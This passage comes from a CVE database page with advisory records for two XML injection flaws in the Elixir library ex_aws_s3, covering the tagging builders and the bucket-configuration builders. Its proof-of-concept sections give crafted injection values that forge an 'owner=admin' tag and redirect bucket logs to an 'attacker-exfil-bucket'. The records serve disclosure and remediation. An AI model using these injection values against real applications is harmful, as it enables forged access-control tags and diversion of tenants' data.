            "dateUpdated": "2026-11-24T14:15:59.569Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws_s3/security/advisories/GHSA-979q-5hj9-vvvv"
            },
            {
              "name": "EEF CNA record for CVE-2026-62273",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-62273.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-62273",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-62273"
            },
            {
              "name": "Introducing commit c6331b8 in ex-aws/ex_aws_s3",
              "tags": [
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws_s3/commit/c6331b84c80f09d24d4a25cf05d8604541ce162e"
            },
            {
              "name": "Fix commit eda0b9b in ex-aws/ex_aws_s3",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/ex-aws/ex_aws_s3/commit/eda0b9b9c63707f7db8d8f18c331df7fda57c397"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "XML injection via unescaped tag keys and values in ex_aws_s3 object and bucket tagging",
          "workarounds": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eBefore passing user-influenced data to \u003ccode\u003eput_object_tagging/4\u003c/code\u003e or \u003ccode\u003eput_bucket_tagging/2\u003c/code\u003e, validate and reject any tag key or value containing XML metacharacters (\u003ccode\u003e\u0026lt;\u003c/code\u003e, \u003ccode\u003e\u0026gt;\u003c/code\u003e, \u003ccode\u003e\u0026amp;\u003c/code\u003e, \u003ccode\u003e\"\u003c/code\u003e, \u003ccode\u003e\u0027\u003c/code\u003e), or restrict tag keys and values to an allowlisted character set.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Before passing user-influenced data to `put_object_tagging/4` or `put_bucket_tagging/2`, validate and reject any tag key or value containing XML metacharacters (`\u003c`, `\u003e`, `\u0026`, `\"`, `\u0027`), or restrict tag keys and values to an allowlisted character set."
                }
              ],
              "value": "Before passing user-influenced data to put_object_tagging/4 or put_bucket_tagging/2, validate and reject any tag key or value containing XML metacharacters (\u003c, \u003e, \u0026, \", \u0027), or restrict tag keys and values to an allowlisted character set."
            }
          ],
          "x_proofOfConcept": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003col\u003e\n\u003cli\u003eAn application forwards a user-supplied tag value: \u003ccode\u003eExAws.S3.put_object_tagging(\"victim-bucket\", \"user/object.txt\", [{\"customer\", value}]) |\u0026gt; ExAws.request()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker supplies the value \u003ccode\u003eblue\u0026lt;/Value\u0026gt;\u0026lt;/Tag\u0026gt;\u0026lt;Tag\u0026gt;\u0026lt;Key\u0026gt;owner\u0026lt;/Key\u0026gt;\u0026lt;Value\u0026gt;admin\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eput_object_tagging/4\u003c/code\u003e interpolates it into the \u003ccode\u003e\u0026lt;TagSet\u0026gt;\u003c/code\u003e body without escaping.\u003c/li\u003e\n\u003cli\u003eThe request body S3 receives contains two \u003ccode\u003e\u0026lt;Tag\u0026gt;\u003c/code\u003e elements: \u003ccode\u003ecustomer=blue\u003c/code\u003e and the forged \u003ccode\u003eowner=admin\u003c/code\u003e.\u003c/li\u003e\n\u003c/ol\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "1. An application forwards a user-supplied tag value: `ExAws.S3.put_object_tagging(\"victim-bucket\", \"user/object.txt\", [{\"customer\", value}]) |\u003e ExAws.request()`.\n2. The attacker supplies the value `blue\u003c/Value\u003e\u003c/Tag\u003e\u003cTag\u003e\u003cKey\u003eowner\u003c/Key\u003e\u003cValue\u003eadmin`.\n3. `put_object_tagging/4` interpolates it into the `\u003cTagSet\u003e` body without escaping.\n4. The request body S3 receives contains two `\u003cTag\u003e` elements: `customer=blue` and the forged `owner=admin`."
                }
              ],
              "value": "* An application forwards a user-supplied tag value: ExAws.S3.put_object_tagging(\"victim-bucket\", \"user/object.txt\", [{\"customer\", value}]) |\u003e ExAws.request().\n* The attacker supplies the value blue\u003c/Value\u003e\u003c/Tag\u003e\u003cTag\u003e\u003cKey\u003eowner\u003c/Key\u003e\u003cValue\u003eadmin.\n* put_object_tagging/4 interpolates it into the \u003cTagSet\u003e body without escaping.\n* The request body S3 receives contains two \u003cTag\u003e elements: customer=blue and the forged owner=admin."
            }
          ],
          "x_technicalAnalysis": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003cstrong\u003e1. Unescaped interpolation.\u003c/strong\u003e \u003ccode\u003eExAws.S3.put_bucket_tagging/2\u003c/code\u003e and \u003ccode\u003eExAws.S3.put_object_tagging/4\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e build each \u003ccode\u003e\u0026lt;Tag\u0026gt;\u003c/code\u003e element by placing \u003ccode\u003eto_string(key)\u003c/code\u003e and \u003ccode\u003eto_string(value)\u003c/code\u003e directly inside \u003ccode\u003e\u0026lt;Key\u0026gt;\u003c/code\u003e and \u003ccode\u003e\u0026lt;Value\u0026gt;\u003c/code\u003e. The module\u0027s \u003ccode\u003eescape_xml_string/1\u003c/code\u003e helper, which \u003ccode\u003edelete_multiple_objects\u003c/code\u003e already applies to object keys, is not used.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Element break-out.\u003c/strong\u003e XML metacharacters in a key or value are emitted verbatim. A value such as \u003ccode\u003eblue\u0026lt;/Value\u0026gt;\u0026lt;/Tag\u0026gt;\u0026lt;Tag\u0026gt;\u0026lt;Key\u0026gt;owner\u0026lt;/Key\u0026gt;\u0026lt;Value\u0026gt;admin\u003c/code\u003e closes the intended \u003ccode\u003e\u0026lt;Value\u0026gt;\u003c/code\u003e and \u003ccode\u003e\u0026lt;Tag\u0026gt;\u003c/code\u003e and opens a new \u003ccode\u003e\u0026lt;Tag\u0026gt;\u003c/code\u003e of the attacker\u0027s choosing, so S3 parses two tags where the application intended one.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Effect in S3.\u003c/strong\u003e S3 honors tags in access-control conditions (\u003ccode\u003eaws:RequestTag\u003c/code\u003e, \u003ccode\u003es3:ExistingObjectTag/\u0026lt;key\u0026gt;\u003c/code\u003e) and in cost-allocation reporting, so the injected tag can set an authorization-relevant key the application never meant to assign, or override and corrupt the legitimate tag set.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "**1. Unescaped interpolation.** `ExAws.S3.put_bucket_tagging/2` and `ExAws.S3.put_object_tagging/4` in `lib/ex_aws/s3.ex` build each `\u003cTag\u003e` element by placing `to_string(key)` and `to_string(value)` directly inside `\u003cKey\u003e` and `\u003cValue\u003e`. The module\u0027s `escape_xml_string/1` helper, which `delete_multiple_objects` already applies to object keys, is not used.\n\n**2. Element break-out.** XML metacharacters in a key or value are emitted verbatim. A value such as `blue\u003c/Value\u003e\u003c/Tag\u003e\u003cTag\u003e\u003cKey\u003eowner\u003c/Key\u003e\u003cValue\u003eadmin` closes the intended `\u003cValue\u003e` and `\u003cTag\u003e` and opens a new `\u003cTag\u003e` of the attacker\u0027s choosing, so S3 parses two tags where the application intended one.\n\n**3. Effect in S3.** S3 honors tags in access-control conditions (`aws:RequestTag`, `s3:ExistingObjectTag/\u003ckey\u003e`) and in cost-allocation reporting, so the injected tag can set an authorization-relevant key the application never meant to assign, or override and corrupt the legitimate tag set."
                }
              ],
              "value": "1. Unescaped interpolation. ExAws.S3.put_bucket_tagging/2 and ExAws.S3.put_object_tagging/4 in lib/ex_aws/s3.ex build each \u003cTag\u003e element by placing to_string(key) and to_string(value) directly inside \u003cKey\u003e and \u003cValue\u003e. The module\u0027s escape_xml_string/1 helper, which delete_multiple_objects already applies to object keys, is not used.\n\n2. Element break-out. XML metacharacters in a key or value are emitted verbatim. A value such as blue\u003c/Value\u003e\u003c/Tag\u003e\u003cTag\u003e\u003cKey\u003eowner\u003c/Key\u003e\u003cValue\u003eadmin closes the intended \u003cValue\u003e and \u003cTag\u003e and opens a new \u003cTag\u003e of the attacker\u0027s choosing, so S3 parses two tags where the application intended one.\n\n3. Effect in S3. S3 honors tags in access-control conditions (aws:RequestTag, s3:ExistingObjectTag/\u003ckey\u003e) and in cost-allocation reporting, so the injected tag can set an authorization-relevant key the application never meant to assign, or override and corrupt the legitimate tag set."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-62273",
        "datePublished": "2026-11-24T14:15:59.569Z",
        "dateReserved": "2026-07-13T18:06:12.918Z",
        "dateUpdated": "2026-11-25T20:06:23.281Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-63581 (GCVE-0-2026-63581)

    Vulnerability from cvelistv5 – Published: 2026-11-24 14:15 – Updated: 2026-11-25 20:05
    VLAI
    Title
    ex_aws_s3 XML injection in bucket-configuration builders
    Summary
    XML Injection vulnerability in ex-aws ex_aws_s3 (ExAws.S3 module) allows an attacker to inject arbitrary XML configuration elements into S3 bucket-configuration request bodies via unescaped, caller-supplied values. This vulnerability is associated with program files lib/ex_aws/s3.ex and program routines ExAws.S3.put_bucket_logging/2, ExAws.S3.put_bucket_notification/2, ExAws.S3.put_bucket_replication/2, ExAws.S3.put_bucket_website/2. The bucket-configuration body builders construct their XML by interpolating caller-supplied values directly into the request body without escaping, and never route them through the module's own escape_xml_string/1 helper. A value containing XML metacharacters (<, >, &, quotes) can close the intended element early and open attacker-chosen elements, which the builder's trailing closing tag then closes, keeping the document single-rooted and well-formed. In a multi-tenant application where tenants configure their own bucket settings, an attacker who can influence one of the interpolated field values (for example the logging target, a notification ARN, a replication destination or Account, or a website redirect HostName) can inject arbitrary configuration nodes into a request the application signs and sends to AWS. The affected builders are reached through the public functions put_bucket_logging/2, put_bucket_notification/2, put_bucket_replication/2, and put_bucket_website/2. This issue affects ex_aws_s3: from 2.5.9 before 2.6.0.
    SSVC
    Exploitation: poc Automatable: no Technical Impact: partial
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-11-25 20:05 UTC
    CWE
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    ex-aws ex_aws_s3 Affected: 2.5.9 , < 2.6.0 (semver)
        cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*
    Create a notification for this product.
    ex-aws ex_aws_s3 Affected: 7d6f5cde90aaea36f9a059de874d1420da20eef2 , < eda0b9b9c63707f7db8d8f18c331df7fda57c397 (git)
        cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 14:15
    Show details on NVD website

    {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-63581",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-11-25T20:05:10.917531Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-11-25T20:05:36.199Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://osv.dev/vulnerability/EEF-CVE-2026-63581"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "collectionURL": "https://repo.hex.pm",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.S3\u0027"
              ],
              "packageName": "ex_aws_s3",
              "packageURL": "pkg:hex/ex_aws_s3",
              "product": "ex_aws_s3",
              "programFiles": [
                "lib/ex_aws/s3.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_logging/2"
                },
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_notification/2"
                },
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_replication/2"
                },
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_website/2"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws_s3",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "2.6.0",
                  "status": "affected",
                  "version": "2.5.9",
                  "versionType": "semver"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.S3\u0027"
              ],
              "packageName": "ex-aws/ex_aws_s3",
              "packageURL": "pkg:github/ex-aws/ex_aws_s3",
              "product": "ex_aws_s3",
              "programFiles": [
                "lib/ex_aws/s3.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_logging/2"
                },
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_notification/2"
                },
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_replication/2"
                },
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_website/2"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws_s3",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "eda0b9b9c63707f7db8d8f18c331df7fda57c397",
                  "status": "affected",
                  "version": "7d6f5cde90aaea36f9a059de874d1420da20eef2",
                  "versionType": "git"
                }
              ]
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "2.6.0",
                      "versionStartIncluding": "2.5.9",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "analyst",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Bernard Duggan"
            }
          ],
          "datePublic": "2026-11-24T14:15:20.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eXML Injection vulnerability in ex-aws ex_aws_s3 (\u003ccode\u003eExAws.S3\u003c/code\u003e module) allows an attacker to inject arbitrary XML configuration elements into S3 bucket-configuration request bodies via unescaped, caller-supplied values.\u003c/p\u003e\n\u003cp\u003eThis vulnerability is associated with program files \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e and program routines \u003ccode\u003eExAws.S3.put_bucket_logging/2\u003c/code\u003e, \u003ccode\u003eExAws.S3.put_bucket_notification/2\u003c/code\u003e, \u003ccode\u003eExAws.S3.put_bucket_replication/2\u003c/code\u003e, \u003ccode\u003eExAws.S3.put_bucket_website/2\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThe bucket-configuration body builders construct their XML by interpolating caller-supplied values directly into the request body without escaping, and never route them through the module\u0027s own \u003ccode\u003eescape_xml_string/1\u003c/code\u003e helper. A value containing XML metacharacters (\u003ccode\u003e\u0026lt;\u003c/code\u003e, \u003ccode\u003e\u0026gt;\u003c/code\u003e, \u003ccode\u003e\u0026amp;\u003c/code\u003e, quotes) can close the intended element early and open attacker-chosen elements, which the builder\u0027s trailing closing tag then closes, keeping the document single-rooted and well-formed. In a multi-tenant application where tenants configure their own bucket settings, an attacker who can influence one of the interpolated field values (for example the logging target, a notification ARN, a replication destination or Account, or a website redirect HostName) can inject arbitrary configuration nodes into a request the application signs and sends to AWS. The affected builders are reached through the public functions \u003ccode\u003eput_bucket_logging/2\u003c/code\u003e, \u003ccode\u003eput_bucket_notification/2\u003c/code\u003e, \u003ccode\u003eput_bucket_replication/2\u003c/code\u003e, and \u003ccode\u003eput_bucket_website/2\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_s3: from 2.5.9 before 2.6.0.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "XML Injection vulnerability in ex-aws ex_aws_s3 (`ExAws.S3` module) allows an attacker to inject arbitrary XML configuration elements into S3 bucket-configuration request bodies via unescaped, caller-supplied values.\n\nThis vulnerability is associated with program files `lib/ex_aws/s3.ex` and program routines `ExAws.S3.put_bucket_logging/2`, `ExAws.S3.put_bucket_notification/2`, `ExAws.S3.put_bucket_replication/2`, `ExAws.S3.put_bucket_website/2`.\n\nThe bucket-configuration body builders construct their XML by interpolating caller-supplied values directly into the request body without escaping, and never route them through the module\u0027s own `escape_xml_string/1` helper. A value containing XML metacharacters (`\u003c`, `\u003e`, `\u0026`, quotes) can close the intended element early and open attacker-chosen elements, which the builder\u0027s trailing closing tag then closes, keeping the document single-rooted and well-formed. In a multi-tenant application where tenants configure their own bucket settings, an attacker who can influence one of the interpolated field values (for example the logging target, a notification ARN, a replication destination or Account, or a website redirect HostName) can inject arbitrary configuration nodes into a request the application signs and sends to AWS. The affected builders are reached through the public functions `put_bucket_logging/2`, `put_bucket_notification/2`, `put_bucket_replication/2`, and `put_bucket_website/2`.\n\nThis issue affects ex_aws_s3: from 2.5.9 before 2.6.0."
                }
              ],
              "value": "XML Injection vulnerability in ex-aws ex_aws_s3 (ExAws.S3 module) allows an attacker to inject arbitrary XML configuration elements into S3 bucket-configuration request bodies via unescaped, caller-supplied values.\n\nThis vulnerability is associated with program files lib/ex_aws/s3.ex and program routines ExAws.S3.put_bucket_logging/2, ExAws.S3.put_bucket_notification/2, ExAws.S3.put_bucket_replication/2, ExAws.S3.put_bucket_website/2.\n\nThe bucket-configuration body builders construct their XML by interpolating caller-supplied values directly into the request body without escaping, and never route them through the module\u0027s own escape_xml_string/1 helper. A value containing XML metacharacters (\u003c, \u003e, \u0026, quotes) can close the intended element early and open attacker-chosen elements, which the builder\u0027s trailing closing tag then closes, keeping the document single-rooted and well-formed. In a multi-tenant application where tenants configure their own bucket settings, an attacker who can influence one of the interpolated field values (for example the logging target, a notification ARN, a replication destination or Account, or a website redirect HostName) can inject arbitrary configuration nodes into a request the application signs and sends to AWS. The affected builders are reached through the public functions put_bucket_logging/2, put_bucket_notification/2, put_bucket_replication/2, and put_bucket_website/2.\n\nThis issue affects ex_aws_s3: from 2.5.9 before 2.6.0."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-250",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eThis is an XML/structure injection vulnerability in the bucket-configuration body builders of \u003ccode\u003eex_aws_s3\u003c/code\u003e. It affects any application that passes untrusted or user-supplied values into these builders, most relevantly multi-tenant services that let tenants configure their own bucket logging, notifications, replication, or website settings. The only precondition is that an attacker can influence one of the interpolated field values; they can then inject arbitrary configuration elements (e.g. an attacker-owned replication destination/\u003ccode\u003eAccount\u003c/code\u003e, logging target, or website redirect \u003ccode\u003eHostName\u003c/code\u003e) into a request the application signs and sends to AWS.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "This is an XML/structure injection vulnerability in the bucket-configuration body builders of `ex_aws_s3`. It affects any application that passes untrusted or user-supplied values into these builders, most relevantly multi-tenant services that let tenants configure their own bucket logging, notifications, replication, or website settings. The only precondition is that an attacker can influence one of the interpolated field values; they can then inject arbitrary configuration elements (e.g. an attacker-owned replication destination/`Account`, logging target, or website redirect `HostName`) into a request the application signs and sends to AWS."
                    }
                  ],
                  "value": "This is an XML/structure injection vulnerability in the bucket-configuration body builders of ex_aws_s3. It affects any application that passes untrusted or user-supplied values into these builders, most relevantly multi-tenant services that let tenants configure their own bucket logging, notifications, replication, or website settings. The only precondition is that an attacker can influence one of the interpolated field values; they can then inject arbitrary configuration elements (e.g. an attacker-owned replication destination/Account, logging target, or website redirect HostName) into a request the application signs and sends to AWS."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "LOCAL",
                "baseScore": 6.9,
                "baseSeverity": "MEDIUM",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "LOW",
                "subIntegrityImpact": "LOW",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:L/SI:L/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "HIGH",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-91",
                  "description": "CWE-91 XML Injection",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T14:15:21.465Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws_s3/security/advisories/GHSA-cf93-7gwh-6w98"
            },
            {
              "name": "EEF CNA record for CVE-2026-63581",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-63581.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-63581",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-63581"
            },
            {
              "name": "Introducing commit 7d6f5cd in ex-aws/ex_aws_s3",
              "tags": [
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws_s3/commit/7d6f5cde90aaea36f9a059de874d1420da20eef2"
            },
            {
              "name": "Fix commit eda0b9b in ex-aws/ex_aws_s3",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/ex-aws/ex_aws_s3/commit/eda0b9b9c63707f7db8d8f18c331df7fda57c397"
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "ex_aws_s3 XML injection in bucket-configuration builders",
          "workarounds": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eValidate or sanitize caller-supplied values before passing them to the affected bucket-configuration builders, rejecting or escaping any value that contains XML metacharacters (\u003ccode\u003e\u0026lt;\u003c/code\u003e, \u003ccode\u003e\u0026gt;\u003c/code\u003e, \u003ccode\u003e\u0026amp;\u003c/code\u003e, \u003ccode\u003e\u0027\u003c/code\u003e, \u003ccode\u003e\"\u003c/code\u003e).\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Validate or sanitize caller-supplied values before passing them to the affected bucket-configuration builders, rejecting or escaping any value that contains XML metacharacters (`\u003c`, `\u003e`, `\u0026`, `\u0027`, `\"`)."
                }
              ],
              "value": "Validate or sanitize caller-supplied values before passing them to the affected bucket-configuration builders, rejecting or escaping any value that contains XML metacharacters (\u003c, \u003e, \u0026, \u0027, \")."
            }
          ],
          "x_proofOfConcept": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003col\u003e\n\u003cli\u003eA multi-tenant application exposes \u003ccode\u003ePOST /configure-logging\u003c/code\u003e and forwards the tenant\u0027s form values to \u003ccode\u003eExAws.S3.put_bucket_logging(bucket, target_bucket: target_bucket)\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker submits \u003ccode\u003etarget_bucket\u003c/code\u003e as \u003ccode\u003etenant-logs\u0026lt;/TargetBucket\u0026gt;\u0026lt;TargetBucket\u0026gt;attacker-exfil-bucket\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe builder interpolates it unescaped, and its own trailing \u003ccode\u003e\u0026lt;/TargetBucket\u0026gt;\u003c/code\u003e closes the injected element, so the body stays well-formed.\u003c/li\u003e\n\u003cli\u003eParsing the body yields two \u003ccode\u003eTargetBucket\u003c/code\u003e nodes, \u003ccode\u003etenant-logs\u003c/code\u003e and \u003ccode\u003eattacker-exfil-bucket\u003c/code\u003e, in the configuration the application signs and sends to AWS.\u003c/li\u003e\n\u003c/ol\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "1. A multi-tenant application exposes `POST /configure-logging` and forwards the tenant\u0027s form values to `ExAws.S3.put_bucket_logging(bucket, target_bucket: target_bucket)`.\n2. The attacker submits `target_bucket` as `tenant-logs\u003c/TargetBucket\u003e\u003cTargetBucket\u003eattacker-exfil-bucket`.\n3. The builder interpolates it unescaped, and its own trailing `\u003c/TargetBucket\u003e` closes the injected element, so the body stays well-formed.\n4. Parsing the body yields two `TargetBucket` nodes, `tenant-logs` and `attacker-exfil-bucket`, in the configuration the application signs and sends to AWS."
                }
              ],
              "value": "* A multi-tenant application exposes POST /configure-logging and forwards the tenant\u0027s form values to ExAws.S3.put_bucket_logging(bucket, target_bucket: target_bucket).\n* The attacker submits target_bucket as tenant-logs\u003c/TargetBucket\u003e\u003cTargetBucket\u003eattacker-exfil-bucket.\n* The builder interpolates it unescaped, and its own trailing \u003c/TargetBucket\u003e closes the injected element, so the body stays well-formed.\n* Parsing the body yields two TargetBucket nodes, tenant-logs and attacker-exfil-bucket, in the configuration the application signs and sends to AWS."
            }
          ],
          "x_technicalAnalysis": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003cstrong\u003e1. Unescaped interpolation.\u003c/strong\u003e The bucket-configuration body builders in \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e interpolate caller-supplied values into XML with plain string interpolation and never apply the module\u0027s \u003ccode\u003eescape_xml_string/1\u003c/code\u003e helper. This covers \u003ccode\u003eput_bucket_logging\u003c/code\u003e (\u003ccode\u003etarget_bucket\u003c/code\u003e, \u003ccode\u003etarget_prefix\u003c/code\u003e), the notification builders (topic, Lambda and queue ARNs, \u003ccode\u003eid\u003c/code\u003e, events, filter rule names and values), the replication builders (\u003ccode\u003erole\u003c/code\u003e, rule \u003ccode\u003eid\u003c/code\u003e and \u003ccode\u003estatus\u003c/code\u003e, filter prefix, tag keys and values, destination \u003ccode\u003ebucket\u003c/code\u003e, \u003ccode\u003estorage_class\u003c/code\u003e, \u003ccode\u003eaccount\u003c/code\u003e, \u003ccode\u003eowner\u003c/code\u003e) and the website builders (\u003ccode\u003ehost_name\u003c/code\u003e, \u003ccode\u003eprotocol\u003c/code\u003e, \u003ccode\u003eindex_doc\u003c/code\u003e, \u003ccode\u003eerror_doc\u003c/code\u003e and every routing-rule field).\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Element break-out.\u003c/strong\u003e In \u003ccode\u003eput_bucket_logging\u003c/code\u003e, for example, the body contains \u003ccode\u003e\u0026lt;TargetBucket\u0026gt;#{target_bucket}\u0026lt;/TargetBucket\u0026gt;\u003c/code\u003e. A value containing \u003ccode\u003e\u0026lt;/TargetBucket\u0026gt;\u0026lt;TargetBucket\u0026gt;...\u003c/code\u003e closes the legitimate element early and opens a second one inside the same \u003ccode\u003e\u0026lt;LoggingEnabled\u0026gt;\u003c/code\u003e block.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Well-formed result.\u003c/strong\u003e The builder\u0027s own trailing closing tag closes the injected node, so the document stays single-rooted and well-formed, parses cleanly and would be accepted by AWS. The application signs and sends the attacker-shaped configuration as its own.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
